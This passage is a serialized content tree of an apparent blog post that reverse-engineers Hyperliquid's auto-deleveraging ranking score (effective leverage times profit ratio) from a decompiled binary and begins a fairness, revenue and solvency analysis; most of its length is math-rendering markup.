relative wealth of accounts should not be affected by deleveraging.",{"type":25,"tag":34,"props":161277,"children":161278},{},[161279,161281,161288],{"type":31,"value":161280},"More formally, fairness can be given multiple related definitions; see ",{"type":25,"tag":71,"props":161282,"children":161285},{"href":161283,"rel":161284},"https://arxiv.org/abs/2512.01112",[75],[161286],{"type":31,"value":161287},"this paper",{"type":31,"value":161289},". We want to prove that the algorithm used in HL is not axiomatically fair in its implementation (as defined in prop. 6.1 of the paper).",{"type":25,"tag":34,"props":161291,"children":161292},{},[161293],{"type":31,"value":161294},"So, is Hyperliquid fair? Is it always solvent?",{"type":25,"tag":26,"props":161296,"children":161298},{"id":161297},"adl-score-computation",[161299],{"type":31,"value":161300},"ADL Score Computation",{"type":25,"tag":34,"props":161302,"children":161303},{},[161304,161306,161312,161314,161320,161322,161327],{"type":31,"value":161305},"The score function at ",{"type":25,"tag":115,"props":161307,"children":161309},{"className":161308},[],[161310],{"type":31,"value":161311},"compute_adl_ranking_score",{"type":31,"value":161313}," is core to answering this question. It's defined, most likely as an ",{"type":25,"tag":115,"props":161315,"children":161317},{"className":161316},[],[161318],{"type":31,"value":161319},"Ord",{"type":31,"value":161321}," implementation on some 20-byte address representation. A ",{"type":25,"tag":115,"props":161323,"children":161325},{"className":161324},[],[161326],{"type":31,"value":18707},{"type":31,"value":161328}," of those holds the possible counterparties to fill against, and the trait is used by the sort routines that order them by ranking score for each underwater position.",{"type":25,"tag":34,"props":161330,"children":161331},{},[161332,161334,161339,161341,161347,161349,161356,161358,161365],{"type":31,"value":161333},"Those sort routines are ",{"type":25,"tag":65,"props":161335,"children":161336},{},[161337],{"type":31,"value":161338},"generated by the compiler",{"type":31,"value":161340},": since Rust binaries include a lot of metadata by default in ",{"type":25,"tag":115,"props":161342,"children":161344},{"className":161343},[],[161345],{"type":31,"value":161346},".comment",{"type":31,"value":161348},", we may even manually ",{"type":25,"tag":71,"props":161350,"children":161353},{"href":161351,"rel":161352},"https://github.com/renato-osec/patina-research/tree/main/tools/chela",[75],[161354],{"type":31,"value":161355},"take advantage",{"type":31,"value":161357}," of this to recover the ",{"type":25,"tag":71,"props":161359,"children":161362},{"href":161360,"rel":161361},"https://github.com/rust-lang/rust/blob/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf/library/core/src/slice/sort/stable/mod.rs#L22-L29",[75],[161363],{"type":31,"value":161364},"exact source of library functions",{"type":31,"value":80},{"type":25,"tag":34,"props":161367,"children":161368},{},[161369,161371,161376],{"type":31,"value":161370},"Let's see how this ties back into the ",{"type":25,"tag":115,"props":161372,"children":161374},{"className":161373},[],[161375],{"type":31,"value":160455},{"type":31,"value":5997},{"type":25,"tag":160130,"props":161378,"children":161380},{"source":160455,"target":161311,"direction":160456,"path":161379},"clearinghouse_adl_orchestrator,driftsort_smallsort_insertion_by_adl_ranking,compute_adl_ranking_score",[],{"type":25,"tag":34,"props":161382,"children":161383},{},[161384],{"type":31,"value":161385},"And here's the main call site used for sorting:",{"type":25,"tag":160130,"props":161387,"children":161390},{"addr":160501,"line-start":161388,"line-end":161389},"2806","2814",[],{"type":25,"tag":26,"props":161392,"children":161394},{"id":161393},"ratio-1-effective-leverage",[161395],{"type":31,"value":161396},"Ratio 1: Effective Leverage",{"type":25,"tag":191,"props":161398,"children":161399},{},[161400],{"type":25,"tag":115,"props":161401,"children":161403},{"className":161402},[5485,160158],[161404],{"type":25,"tag":201,"props":161405,"children":161407},{"className":161406},[160163],[161408],{"type":25,"tag":201,"props":161409,"children":161411},{"className":161410},[5491],[161412],{"type":25,"tag":201,"props":161413,"children":161415},{"className":161414,"ariaHidden":5497},[5496],[161416,161447],{"type":25,"tag":201,"props":161417,"children":161419},{"className":161418},[5502],[161420,161424,161434,161438,161443],{"type":25,"tag":201,"props":161421,"children":161423},{"className":161422,"style":116186},[5507],[],{"type":25,"tag":201,"props":161425,"children":161427},{"className":161426},[5513,31],[161428],{"type":25,"tag":201,"props":161429,"children":161431},{"className":161430},[5513],[161432],{"type":31,"value":161433},"effective leverage",{"type":25,"tag":201,"props":161435,"children":161437},{"className":161436,"style":5691},[5593],[],{"type":25,"tag":201,"props":161439,"children":161441},{"className":161440},[5696],[161442],{"type":31,"value":1383},{"type":25,"tag":201,"props":161444,"children":161446},{"className":161445,"style":5691},[5593],[],{"type":25,"tag":201,"props":161448,"children":161450},{"className":161449},[5502],[161451,161456],{"type":25,"tag":201,"props":161452,"children":161455},{"className":161453,"style":161454},[5507],"height:2.113em;vertical-align:-0.686em;",[],{"type":25,"tag":201,"props":161457,"children":161459},{"className":161458},[5513],[161460,161464,161559],{"type":25,"tag":201,"props":161461,"children":161463},{"className":161462},[23212,114649],[],{"type":25,"tag":201,"props":161465,"children":161467},{"className":161466},[114654],[161468],{"type":25,"tag":201,"props":161469,"children":161471},{"className":161470},[5534,23137],[161472,161547],{"type":25,"tag":201,"props":161473,"children":161475},{"className":161474},[5539],[161476,161542],{"type":25,"tag":201,"props":161477,"children":161479},{"className":161478,"style":160236},[5544],[161480,161501,161512],{"type":25,"tag":201,"props":161481,"children":161482},{"style":160240},[161483,161487],{"type":25,"tag":201,"props":161484,"children":161486},{"className":161485,"style":113302},[5553],[],{"type":25,"tag":201,"props":161488,"children":161490},{"className":161489},[5513],[161491],{"type":25,"tag":201,"props":161492,"children":161494},{"className":161493},[5513,31],[161495],{"type":25,"tag":201,"props":161496,"children":161498},{"className":161497},[5513],[161499],{"type":31,"value":161500},"account value",{"type":25,"tag":201,"props":161502,"children":161503},{"style":114704},[161504,161508],{"type":25,"tag":201,"props":161505,"children":161507},{"className":161506,"style":113302},[5553],[],{"type":25,"tag":201,"props":161509,"children":161511},{"className":161510,"style":114714},[114713],[],{"type":25,"tag":201,"props":161513,"children":161514},{"style":160291},[161515,161519],{"type":25,"tag":201,"props":161516,"children":161518},{"className":161517,"style":113302},[5553],[],{"type":25,"tag":201,"props":161520,"children":161522},{"className":161521},[5513],[161523,161528,161537],{"type":25,"tag":201,"props":161524,"children":161526},{"className":161525},[5513],[161527],{"type":31,"value":160306},{"type":25,"tag":201,"props":161529,"children":161531},{"className":161530},[5513,31],[161532],{"type":25,"tag":201,"props":161533,"children":161535},{"className":161534},[5513],[161536],{"type":31,"value":160316},{"type":25,"tag":201,"props":161538,"children":161540},{"className":161539},[5513],[161541],{"type":31,"value":160306},{"type":25,"tag":201,"props":161543,"children":161545},{"className":161544},[23240],[161546],{"type":31,"value":23243},{"type":25,"tag":201,"props":161548,"children":161550},{"className":161549},[5539],[161551],{"type":25,"tag":201,"props":161552,"children":161555},{"className":161553,"style":161554},[5544],"height:0.686em;",[161556],{"type":25,"tag":201,"props":161557,"children":161558},{},[],{"type":25,"tag":201,"props":161560,"children":161562},{"className":161561},[23234,114649],[],{"type":25,"tag":34,"props":161564,"children":161565},{},[161566,161568,161574,161576,161582,161583,161589,161591,161597],{"type":31,"value":161567},"We can see in the decompilation below, through the SIMD noise, that ",{"type":25,"tag":115,"props":161569,"children":161571},{"className":161570},[],[161572],{"type":31,"value":161573},"abs_notional",{"type":31,"value":161575}," (unsigned), and ",{"type":25,"tag":115,"props":161577,"children":161579},{"className":161578},[],[161580],{"type":31,"value":161581},"float.d(rbx)",{"type":31,"value":7010},{"type":25,"tag":115,"props":161584,"children":161586},{"className":161585},[],[161587],{"type":31,"value":161588},"account_value",{"type":31,"value":161590}," (signed); the division is ",{"type":25,"tag":115,"props":161592,"children":161594},{"className":161593},[],[161595],{"type":31,"value":161596},"abs_notional / account_value",{"type":31,"value":80},{"type":25,"tag":34,"props":161599,"children":161600},{},[161601],{"type":31,"value":161602},"This tells us the risk multiplier that the user took on for this position.",{"type":25,"tag":160130,"props":161604,"children":161608},{"addr":161605,"line-start":161606,"line-end":161607},"0x555556abb140","278","296",[],{"type":25,"tag":26,"props":161610,"children":161612},{"id":161611},"ratio-2-profit-ratio",[161613],{"type":31,"value":161614},"Ratio 2: Profit Ratio",{"type":25,"tag":191,"props":161616,"children":161617},{},[161618],{"type":25,"tag":115,"props":161619,"children":161621},{"className":161620},[5485,160158],[161622],{"type":25,"tag":201,"props":161623,"children":161625},{"className":161624},[160163],[161626],{"type":25,"tag":201,"props":161627,"children":161629},{"className":161628},[5491],[161630],{"type":25,"tag":201,"props":161631,"children":161633},{"className":161632,"ariaHidden":5497},[5496],[161634,161665],{"type":25,"tag":201,"props":161635,"children":161637},{"className":161636},[5502],[161638,161642,161652,161656,161661],{"type":25,"tag":201,"props":161639,"children":161641},{"className":161640,"style":116186},[5507],[],{"type":25,"tag":201,"props":161643,"children":161645},{"className":161644},[5513,31],[161646],{"type":25,"tag":201,"props":161647,"children":161649},{"className":161648},[5513],[161650],{"type":31,"value":161651},"profit ratio",{"type":25,"tag":201,"props":161653,"children":161655},{"className":161654,"style":5691},[5593],[],{"type":25,"tag":201,"props":161657,"children":161659},{"className":161658},[5696],[161660],{"type":31,"value":1383},{"type":25,"tag":201,"props":161662,"children":161664},{"className":161663,"style":5691},[5593],[],{"type":25,"tag":201,"props":161666,"children":161668},{"className":161667},[5502],[161669,161673],{"type":25,"tag":201,"props":161670,"children":161672},{"className":161671,"style":160211},[5507],[],{"type":25,"tag":201,"props":161674,"children":161676},{"className":161675},[5513],[161677,161681,161800],{"type":25,"tag":201,"props":161678,"children":161680},{"className":161679},[23212,114649],[],{"type":25,"tag":201,"props":161682,"children":161684},{"className":161683},[114654],[161685],{"type":25,"tag":201,"props":161686,"children":161688},{"className":161687},[5534,23137],[161689,161789],{"type":25,"tag":201,"props":161690,"children":161692},{"className":161691},[5539],[161693,161784],{"type":25,"tag":201,"props":161694,"children":161696},{"className":161695,"style":160236},[5544],[161697,161718,161729],{"type":25,"tag":201,"props":161698,"children":161699},{"style":160240},[161700,161704],{"type":25,"tag":201,"props":161701,"children":161703},{"className":161702,"style":113302},[5553],[],{"type":25,"tag":201,"props":161705,"children":161707},{"className":161706},[5513],[161708],{"type":25,"tag":201,"props":161709,"children":161711},{"className":161710},[5513,31],[161712],{"type":25,"tag":201,"props":161713,"children":161715},{"className":161714},[5513],[161716],{"type":31,"value":161717},"entry notional",{"type":25,"tag":201,"props":161719,"children":161720},{"style":114704},[161721,161725],{"type":25,"tag":201,"props":161722,"children":161724},{"className":161723,"style":113302},[5553],[],{"type":25,"tag":201,"props":161726,"children":161728},{"className":161727,"style":114714},[114713],[],{"type":25,"tag":201,"props":161730,"children":161731},{"style":160291},[161732,161736],{"type":25,"tag":201,"props":161733,"children":161735},{"className":161734,"style":113302},[5553],[],{"type":25,"tag":201,"props":161737,"children":161739},{"className":161738},[5513],[161740,161746,161751,161761,161766,161770,161774,161779],{"type":25,"tag":201,"props":161741,"children":161743},{"className":161742},[23119],[161744],{"type":31,"value":161745},"max",{"type":25,"tag":201,"props":161747,"children":161749},{"className":161748},[23212],[161750],{"type":31,"value":298},{"type":25,"tag":201,"props":161752,"children":161754},{"className":161753},[5513,31],[161755],{"type":25,"tag":201,"props":161756,"children":161758},{"className":161757},[5513],[161759],{"type":31,"value":161760},"pnl",{"type":25,"tag":201,"props":161762,"children":161764},{"className":161763},[5625],[161765],{"type":31,"value":5628},{"type":25,"tag":201,"props":161767,"children":161769},{"className":161768,"style":5632},[5593],[],{"type":25,"tag":201,"props":161771,"children":161773},{"className":161772,"style":5632},[5593],[],{"type":25,"tag":201,"props":161775,"children":161777},{"className":161776},[5513],[161778],{"type":31,"value":429},{"type":25,"tag":201,"props":161780,"children":161782},{"className":161781},[23234],[161783],{"type":31,"value":3073},{"type":25,"tag":201,"props":161785,"children":161787},{"className":161786},[23240],[161788],{"type":31,"value":23243},{"type":25,"tag":201,"props":161790,"children":161792},{"className":161791},[5539],[161793],{"type":25,"tag":201,"props":161794,"children":161796},{"className":161795,"style":160334},[5544],[161797],{"type":25,"tag":201,"props":161798,"children":161799},{},[],{"type":25,"tag":201,"props":161801,"children":161803},{"className":161802},[23234,114649],[],{"type":25,"tag":34,"props":161805,"children":161806},{},[161807,161809,161815],{"type":31,"value":161808},"It uses entry notional (",{"type":25,"tag":115,"props":161810,"children":161812},{"className":161811},[],[161813],{"type":31,"value":161814},"r14_2",{"type":31,"value":161816},") as the divisor. PNL is clamped to non-negative before division.",{"type":25,"tag":34,"props":161818,"children":161819},{},[161820],{"type":31,"value":161821},"This basically tells us how well the user's bet went.",{"type":25,"tag":160130,"props":161823,"children":161827},{"addr":161824,"addr-start":161825,"addr-end":161826},"0x555556abb76d","0x555556abb8d7","0x555556abb952",[],{"type":25,"tag":34,"props":161829,"children":161830},{},[161831,161833,161839,161841,161847],{"type":31,"value":161832},"There is clamping to avoid rounding issues. Both ratios are clamped to a minimum of ",{"type":25,"tag":115,"props":161834,"children":161836},{"className":161835},[],[161837],{"type":31,"value":161838},"1e-8",{"type":31,"value":161840},", in order not to cancel each other out. The final ADL ranking score is ",{"type":25,"tag":115,"props":161842,"children":161844},{"className":161843},[],[161845],{"type":31,"value":161846},"effective_leverage * profit_ratio",{"type":31,"value":161848},", consistent with both ratio directions and the max clamp on PNL.",{"type":25,"tag":34,"props":161850,"children":161851},{},[161852],{"type":31,"value":161853},"So, in essence, we look for risky and profitable positions!",{"type":25,"tag":40,"props":161855,"children":161857},{"id":161856},"partial-and-total-adl",[161858],{"type":31,"value":161859},"Partial and Total ADL",{"type":25,"tag":34,"props":161861,"children":161862},{},[161863],{"type":31,"value":161864},"Finally, note that deleveraging can also be partial, but even then it goes by the order defined by this score.",{"type":25,"tag":34,"props":161866,"children":161867},{},[161868],{"type":31,"value":161869},"Here, we fork based on whether ADL is total or not, closing the position in the former case.",{"type":25,"tag":34,"props":161871,"children":161872},{},[161873,161875,161880],{"type":31,"value":161874},"So essentially, in pseudocode, the whole latter part of ",{"type":25,"tag":115,"props":161876,"children":161878},{"className":161877},[],[161879],{"type":31,"value":160455},{"type":31,"value":161881}," boils down to:",{"type":25,"tag":160130,"props":161883,"children":161886},{"addr":160501,"line-start":161884,"line-end":161885},"3252","3632",[],{"type":25,"tag":34,"props":161888,"children":161889},{},[161890],{"type":31,"value":161891},"Note that fill.pos_szi is the full position size of the insolvent user, not just the position shortfall. This is key to understanding the financial implications of ADL.",{"type":25,"tag":4321,"props":161893,"children":161895},{"id":161894},"branches",[161896],{"type":31,"value":161897},"Branches",{"type":25,"tag":34,"props":161899,"children":161900},{},[161901],{"type":31,"value":161902},"There is still much to be explored here: we could try to take a leap forward and conjecture some financial conclusions from what we've learned so far, or we could take a step back and do some introspection on the tools that made this all possible.",{"type":25,"tag":34,"props":161904,"children":161905},{},[161906],{"type":31,"value":161907},"Given the polar opposite direction of those two ends, the author has decided to let the reader choose their own adventure:",{"type":25,"tag":4321,"props":161909,"children":161911},{"id":161910},"financial-conclusions",[161912],{"type":31,"value":161913},"Financial Conclusions",{"type":25,"tag":26,"props":161915,"children":161917},{"id":161916},"fairness-revenue-solvency-trilemma",[161918],{"type":31,"value":161919},"Fairness, Revenue, Solvency Trilemma",{"type":25,"tag":34,"props":161921,"children":161922},{},[161923,161925,161931],{"type":31,"value":161924},"Aligning with the trilemma proposed in §2.1, prop. 2.5 of ",{"type":25,"tag":71,"props":161926,"children":161928},{"href":161283,"rel":161927},[75],[161929],{"type":31,"value":161930},"the paper mentioned before",{"type":31,"value":161932},", let's try to quantify a concrete estimate for each axis of the trilemma:",{"type":25,"tag":18183,"props":161934,"children":161935},{},[161936,161946,161956],{"type":25,"tag":6948,"props":161937,"children":161938},{},[161939,161944],{"type":25,"tag":65,"props":161940,"children":161941},{},[161942],{"type":31,"value":161943},"Solvency",{"type":31,"value":161945},": can the platform pay every trader out?",{"type":25,"tag":6948,"props":161947,"children":161948},{},[161949,161954],{"type":25,"tag":65,"props":161950,"children":161951},{},[161952],{"type":31,"value":161953},"Fairness",{"type":31,"value":161955},": we will use the axiomatic fairness definition per prop. 3.4.",{"type":25,"tag":6948,"props":161957,"children":161958},{},[161959,161964],{"type":25,"tag":65,"props":161960,"children":161961},{},[161962],{"type":31,"value":161963},"Revenue",{"type":31,"value":161965},": the fraction of total winner PNL that survives after deleveraging.",{"type":25,"tag":34,"props":161967,"children":161968},{},[161969],{"type":31,"value":161970},"Let's borrow these definitions from the paper:",{"type":25,"tag":191,"props":161972,"children":161973},{},[161974],{"type":25,"tag":115,"props":161975,"children":161977},{"className":161976},[5485,160158],[161978],{"type":25,"tag":201,"props":161979,"children":161981},{"className":161980},[160163],[161982],{"type":25,"tag":201,"props":161983,"children":161985},{"className":161984},[5491],[161986],{"type":25,"tag":201,"props":161987,"children":161989},{"className":161988,"ariaHidden":5497},[5496],[161990],{"type":25,"tag":201,"props":161991,"children":161993},{"className":161992},[5502],[161994,161999],{"type":25,"tag":201,"props":161995,"children":161998},{"className":161996,"style":161997},[5507],"height:23.1785em;vertical-align:-11.3392em;",[],{"type":25,"tag":201,"props":162000,"children":162002},{"className":162001},[5513],[162003],{"type":25,"tag":201,"props":162004,"children":162006},{"className":162005},[160860],[162007,162826],{"type":25,"tag":201,"props":162008,"children":162010},{"className":162009},[160865],[162011],{"type":25,"tag":201,"props":162012,"children":162014},{"className":162013},[5534,23137],[162015,162814],{"type":25,"tag":201,"props":162016,"children":162018},{"className":162017},[5539],[162019,162809],{"type":25,"tag":201,"props":162020,"children":162023},{"className":162021,"style":162022},[5544],"height:11.8392em;",[162024,162095,162112,162181,162251,162320,162390,162459,162528,162597,162667,162738],{"type":25,"tag":201,"props":162025,"children":162027},{"style":162026},"top:-14.3707em;",[162028,162033],{"type":25,"tag":201,"props":162029,"children":162032},{"className":162030,"style":162031},[5553],"height:3.3714em;",[],{"type":25,"tag":201,"props":162034,"children":162036},{"className":162035},[5513],[162037],{"type":25,"tag":201,"props":162038,"children":162040},{"className":162039},[5513],[162041,162046],{"type":25,"tag":201,"props":162042,"children":162044},{"className":162043,"style":23084},[5513,23083],[162045],{"type":31,"value":23087},{"type":25,"tag":201,"props":162047,"children":162049},{"className":162048},[5529],[162050],{"type":25,"tag":201,"props":162051,"children":162053},{"className":162052},[5534,23137],[162054,162084],{"type":25,"tag":201,"props":162055,"children":162057},{"className":162056},[5539],[162058,162079],{"type":25,"tag":201,"props":162059,"children":162061},{"className":162060,"style":110563},[5544],[162062],{"type":25,"tag":201,"props":162063,"children":162065},{"style":162064},"top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;",[162066,162070],{"type":25,"tag":201,"props":162067,"children":162069},{"className":162068,"style":5554},[5553],[],{"type":25,"tag":201,"props":162071,"children":162073},{"className":162072},[5559,5560,5561,5562],[162074],{"type":25,"tag":201,"props":162075,"children":162077},{"className":162076},[5513,23083,5562],[162078],{"type":31,"value":57482},{"type":25,"tag":201,"props":162080,"children":162082},{"className":162081},[23240],[162083],{"type":31,"value":23243},{"type":25,"tag":201,"props":162085,"children":162087},{"className":162086},[5539],[162088],{"type":25,"tag":201,"props":162089,"children":162091},{"className":162090,"style":94214},[5544],[162092],{"type":25,"tag":201,"props":162093,"children":162094},{},[],{"type":25,"tag":201,"props":162096,"children":162098},{"style":162097},"top:-12.8707em;",[162099,162103],{"type":25,"tag":201,"props":162100,"children":162102},{"className":162101,"style":162031},[5553],[],{"type":25,"tag":201,"props":162104,"children":162106},{"className":162105},[5513],[162107],{"type":25,"tag":201,"props":162108,"children":162110},{"className":162109,"style":96151},[5513,23083],[162111],{"type":31,"value":96185},{"type":25,"tag":201,"props":162113,"children":162115},{"style":162114},"top:-10.8392em;",[162116,162120],{"type":25,"tag":201,"props":162117,"children":162119},{"className":162118,"style":162031},[5553],[],{"type":25,"tag":201,"props":162121,"children":162123},{"className":162122},[5513],[162124],{"type":25,"tag":201,"props":162125,"children":162127},{"className":162126},[5513],[162128,162133],{"type":25,"tag":201,"props":162129,"children":162131},{"className":162130},[5513,23083],[162132],{"type":31,"value":4652},{"type":25,"tag":201,"props":162134,"children":162136},{"className":162135},[5529],[162137],{"type":25,"tag":201,"props":162138,"children":162140},{"className":162139},[5534,23137],[162141,162170],{"type":25,"tag":201,"props":162142,"children":162144},{"className":162143},[5539],[162145,162165],{"type":25,"tag":201,"props":162146,"children":162148},{"className":162147,"style":94660},[5544],[162149],{"type":25,"tag":201,"props":162150,"children":162151},{"style":94187},[162152,162156],{"type":25,"tag":201,"props":162153,"children":162155},{"className":162154,"style":5554},[5553],[],{"type":25,"tag":201,"props":162157,"children":162159},{"className":162158},[5559,5560,5561,5562],[162160],{"type":25,"tag":201,"props":162161,"children":162163},{"className":162162},[5513,23083,5562],[162164],{"type":31,"value":3641},{"type":25,"tag":201,"props":162166,"children":162168},{"className":162167},[23240],[162169],{"type":31,"value":23243},{"type":25,"tag":201,"props":162171,"children":162173},{"className":162172},[5539],[162174],{"type":25,"tag":201,"props":162175,"children":162177},{"className":162176,"style":94214},[5544],[162178],{"type":25,"tag":201,"props":162179,"children":162180},{},[],{"type":25,"tag":201,"props":162182,"children":162184},{"style":162183},"top:-8.8188em;",[162185,162189],{"type":25,"tag":201,"props":162186,"children":162188},{"className":162187,"style":162031},[5553],[],{"type":25,"tag":201,"props":162190,"children":162192},{"className":162191},[5513],[162193],{"type":25,"tag":201,"props":162194,"children":162196},{"className":162195},[5513],[162197,162203],{"type":25,"tag":201,"props":162198,"children":162200},{"className":162199,"style":94617},[5513,23083],[162201],{"type":31,"value":162202},"π",{"type":25,"tag":201,"props":162204,"children":162206},{"className":162205},[5529],[162207],{"type":25,"tag":201,"props":162208,"children":162210},{"className":162209},[5534,23137],[162211,162240],{"type":25,"tag":201,"props":162212,"children":162214},{"className":162213},[5539],[162215,162235],{"type":25,"tag":201,"props":162216,"children":162218},{"className":162217,"style":94660},[5544],[162219],{"type":25,"tag":201,"props":162220,"children":162221},{"style":94664},[162222,162226],{"type":25,"tag":201,"props":162223,"children":162225},{"className":162224,"style":5554},[5553],[],{"type":25,"tag":201,"props":162227,"children":162229},{"className":162228},[5559,5560,5561,5562],[162230],{"type":25,"tag":201,"props":162231,"children":162233},{"className":162232},[5513,23083,5562],[162234],{"type":31,"value":3641},{"type":25,"tag":201,"props":162236,"children":162238},{"className":162237},[23240],[162239],{"type":31,"value":23243},{"type":25,"tag":201,"props":162241,"children":162243},{"className":162242},[5539],[162244],{"type":25,"tag":201,"props":162245,"children":162247},{"className":162246,"style":94214},[5544],[162248],{"type":25,"tag":201,"props":162249,"children":162250},{},[],{"type":25,"tag":201,"props":162252,"children":162254},{"style":162253},"top:-7.3188em;",[162255,162259],{"type":25,"tag":201,"props":162256,"children":162258},{"className":162257,"style":162031},[5553],[],{"type":25,"tag":201,"props":162260,"children":162262},{"className":162261},[5513],[162263],{"type":25,"tag":201,"props":162264,"children":162266},{"className":162265},[5513],[162267,162272],{"type":25,"tag":201,"props":162268,"children":162270},{"className":162269},[5513,23083],[162271],{"type":31,"value":52532},{"type":25,"tag":201,"props":162273,"children":162275},{"className":162274},[5529],[162276],{"type":25,"tag":201,"props":162277,"children":162279},{"className":162278},[5534,23137],[162280,162309],{"type":25,"tag":201,"props":162281,"children":162283},{"className":162282},[5539],[162284,162304],{"type":25,"tag":201,"props":162285,"children":162287},{"className":162286,"style":94660},[5544],[162288],{"type":25,"tag":201,"props":162289,"children":162290},{"style":94187},[162291,162295],{"type":25,"tag":201,"props":162292,"children":162294},{"className":162293,"style":5554},[5553],[],{"type":25,"tag":201,"props":162296,"children":162298},{"className":162297},[5559,5560,5561,5562],[162299],{"type":25,"tag":201,"props":162300,"children":162302},{"className":162301},[5513,23083,5562],[162303],{"type":31,"value":3641},{"type":25,"tag":201,"props":162305,"children":162307},{"className":162306},[23240],[162308],{"type":31,"value":23243},{"type":25,"tag":201,"props":162310,"children":162312},{"className":162311},[5539],[162313],{"type":25,"tag":201,"props":162314,"children":162316},{"className":162315,"style":94214},[5544],[162317],{"type":25,"tag":201,"props":162318,"children":162319},{},[],{"type":25,"tag":201,"props":162321,"children":162323},{"style":162322},"top:-5.8188em;",[162324,162328],{"type":25,"tag":201,"props":162325,"children":162327},{"className":162326,"style":162031},[5553],[],{"type":25,"tag":201,"props":162329,"children":162331},{"className":162330},[5513],[162332],{"type":25,"tag":201,"props":162333,"children":162335},{"className":162334},[5513],[162336,162341],{"type":25,"tag":201,"props":162337,"children":162339},{"className":162338,"style":123411},[5513,23083],[162340],{"type":31,"value":50649},{"type":25,"tag":201,"props":162342,"children":162344},{"className":162343},[5529],[162345],{"type":25,"tag":201,"props":162346,"children":162348},{"className":162347},[5534,23137],[162349,162379],{"type":25,"tag":201,"props":162350,"children":162352},{"className":162351},[5539],[162353,162374],{"type":25,"tag":201,"props":162354,"children":162356},{"className":162355,"style":94660},[5544],[162357],{"type":25,"tag":201,"props":162358,"children":162360},{"style":162359},"top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;",[162361,162365],{"type":25,"tag":201,"props":162362,"children":162364},{"className":162363,"style":5554},[5553],[],{"type":25,"tag":201,"props":162366,"children":162368},{"className":162367},[5559,5560,5561,5562],[162369],{"type":25,"tag":201,"props":162370,"children":162372},{"className":162371},[5513,23083,5562],[162373],{"type":31,"value":3641},{"type":25,"tag":201,"props":162375,"children":162377},{"className":162376},[23240],[162378],{"type":31,"value":23243},{"type":25,"tag":201,"props":162380,"children":162382},{"className":162381},[5539],[162383],{"type":25,"tag":201,"props":162384,"children":162386},{"className":162385,"style":94214},[5544],[162387],{"type":25,"tag":201,"props":162388,"children":162389},{},[],{"type":25,"tag":201,"props":162391,"children":162393},{"style":162392},"top:-4.3188em;",[162394,162398],{"type":25,"tag":201,"props":162395,"children":162397},{"className":162396,"style":162031},[5553],[],{"type":25,"tag":201,"props":162399,"children":162401},{"className":162400},[5513],[162402],{"type":25,"tag":201,"props":162403,"children":162405},{"className":162404},[5513],[162406,162411],{"type":25,"tag":201,"props":162407,"children":162409},{"className":162408},[5513,23083],[162410],{"type":31,"value":1606},{"type":25,"tag":201,"props":162412,"children":162414},{"className":162413},[5529],[162415],{"type":25,"tag":201,"props":162416,"children":162418},{"className":162417},[5534,23137],[162419,162448],{"type":25,"tag":201,"props":162420,"children":162422},{"className":162421},[5539],[162423,162443],{"type":25,"tag":201,"props":162424,"children":162426},{"className":162425,"style":94660},[5544],[162427],{"type":25,"tag":201,"props":162428,"children":162429},{"style":94187},[162430,162434],{"type":25,"tag":201,"props":162431,"children":162433},{"className":162432,"style":5554},[5553],[],{"type":25,"tag":201,"props":162435,"children":162437},{"className":162436},[5559,5560,5561,5562],[162438],{"type":25,"tag":201,"props":162439,"children":162441},{"className":162440},[5513,23083,5562],[162442],{"type":31,"value":3641},{"type":25,"tag":201,"props":162444,"children":162446},{"className":162445},[23240],[162447],{"type":31,"value":23243},{"type":25,"tag":201,"props":162449,"children":162451},{"className":162450},[5539],[162452],{"type":25,"tag":201,"props":162453,"children":162455},{"className":162454,"style":94214},[5544],[162456],{"type":25,"tag":201,"props":162457,"children":162458},{},[],{"type":25,"tag":201,"props":162460,"children":162462},{"style":162461},"top:-2.5512em;",[162463,162467],{"type":25,"tag":201,"props":162464,"children":162466},{"className":162465,"style":162031},[5553],[],{"type":25,"tag":201,"props":162468,"children":162470},{"className":162469},[5513],[162471],{"type":25,"tag":201,"props":162472,"children":162474},{"className":162473},[5513],[162475,162480],{"type":25,"tag":201,"props":162476,"children":162478},{"className":162477},[5513,23083],[162479],{"type":31,"value":85429},{"type":25,"tag":201,"props":162481,"children":162483},{"className":162482},[5529],[162484],{"type":25,"tag":201,"props":162485,"children":162487},{"className":162486},[5534,23137],[162488,162517],{"type":25,"tag":201,"props":162489,"children":162491},{"className":162490},[5539],[162492,162512],{"type":25,"tag":201,"props":162493,"children":162495},{"className":162494,"style":94660},[5544],[162496],{"type":25,"tag":201,"props":162497,"children":162498},{"style":94187},[162499,162503],{"type":25,"tag":201,"props":162500,"children":162502},{"className":162501,"style":5554},[5553],[],{"type":25,"tag":201,"props":162504,"children":162506},{"className":162505},[5559,5560,5561,5562],[162507],{"type":25,"tag":201,"props":162508,"children":162510},{"className":162509},[5513,23083,5562],[162511],{"type":31,"value":3641},{"type":25,"tag":201,"props":162513,"children":162515},{"className":162514},[23240],[162516],{"type":31,"value":23243},{"type":25,"tag":201,"props":162518,"children":162520},{"className":162519},[5539],[162521],{"type":25,"tag":201,"props":162522,"children":162524},{"className":162523,"style":94214},[5544],[162525],{"type":25,"tag":201,"props":162526,"children":162527},{},[],{"type":25,"tag":201,"props":162529,"children":162531},{"style":162530},"top:-0.3652em;",[162532,162536],{"type":25,"tag":201,"props":162533,"children":162535},{"className":162534,"style":162031},[5553],[],{"type":25,"tag":201,"props":162537,"children":162539},{"className":162538},[5513],[162540],{"type":25,"tag":201,"props":162541,"children":162543},{"className":162542},[5513],[162544,162549],{"type":25,"tag":201,"props":162545,"children":162547},{"className":162546,"style":94365},[5513,23083],[162548],{"type":31,"value":94368},{"type":25,"tag":201,"props":162550,"children":162552},{"className":162551},[5529],[162553],{"type":25,"tag":201,"props":162554,"children":162556},{"className":162555},[5534,23137],[162557,162586],{"type":25,"tag":201,"props":162558,"children":162560},{"className":162559},[5539],[162561,162581],{"type":25,"tag":201,"props":162562,"children":162564},{"className":162563,"style":143686},[5544],[162565],{"type":25,"tag":201,"props":162566,"children":162567},{"style":111560},[162568,162572],{"type":25,"tag":201,"props":162569,"children":162571},{"className":162570,"style":5554},[5553],[],{"type":25,"tag":201,"props":162573,"children":162575},{"className":162574},[5559,5560,5561,5562],[162576],{"type":25,"tag":201,"props":162577,"children":162579},{"className":162578,"style":23084},[5513,23083,5562],[162580],{"type":31,"value":7496},{"type":25,"tag":201,"props":162582,"children":162584},{"className":162583},[23240],[162585],{"type":31,"value":23243},{"type":25,"tag":201,"props":162587,"children":162589},{"className":162588},[5539],[162590],{"type":25,"tag":201,"props":162591,"children":162593},{"className":162592,"style":94214